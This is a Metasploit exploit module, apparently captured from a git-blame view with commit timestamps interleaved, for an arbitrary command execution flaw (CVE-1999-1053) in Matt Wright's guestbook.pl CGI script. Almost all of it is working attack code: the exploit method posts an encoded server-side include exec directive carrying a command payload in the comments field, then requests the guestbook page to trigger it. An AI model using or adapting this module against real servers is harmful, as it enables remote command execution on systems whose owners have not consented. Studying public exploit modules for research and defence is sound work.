2008-06-04 12:19:43 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-06-04 12:19:43 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
2008-06-04 12:19:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2008-06-04 12:19:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
|
|
|
|
a flaw that may allow arbitrary command execution. The vulnerability
|
|
|
|
requires that HTML posting is enabled in the guestbook.pl script, and
|
|
|
|
that the web server must have the Server-Side Include (SSI) script
|
|
|
|
handler enabled for the '.html' file type. By combining the script
|
|
|
|
weakness with non-default server configuration, it is possible to exploit
|
|
|
|
this vulnerability successfully.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '1999-1053' ],
|
|
|
|
[ 'OSVDB', '84' ],
|
|
|
|
[ 'BID', '776' ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 1024,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl ruby python bash telnet',
|
|
|
|
}
|
|
|
|
},
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ linux unix win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DisclosureDate' => 'Nov 05 1999',
|
|
|
|
'DefaultTarget' => 0))
|
2008-06-04 12:19:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
|
|
|
|
OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
|
|
|
|
], self.class)
|
|
|
|
end
|
2008-06-04 12:19:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
realname = rand_text_alphanumeric(20)
|
|
|
|
email = rand_text_alphanumeric(20)
|
|
|
|
city = rand_text_alphanumeric(20)
|
|
|
|
state = rand_text_alphanumeric(20)
|
|
|
|
country = rand_text_alphanumeric(20)
|
2008-06-04 12:19:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')
|
2008-06-04 12:19:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
req1 = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(datastore['URI']),
|
|
|
|
'method' => 'POST',
|
|
|
|
'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
|
|
|
|
}, 25)
|
2008-06-04 12:19:43 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
req2 = send_request_raw({
|
|
|
|
'uri' => normalize_uri(datastore['URIOUT']),
|
|
|
|
}, 25)
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|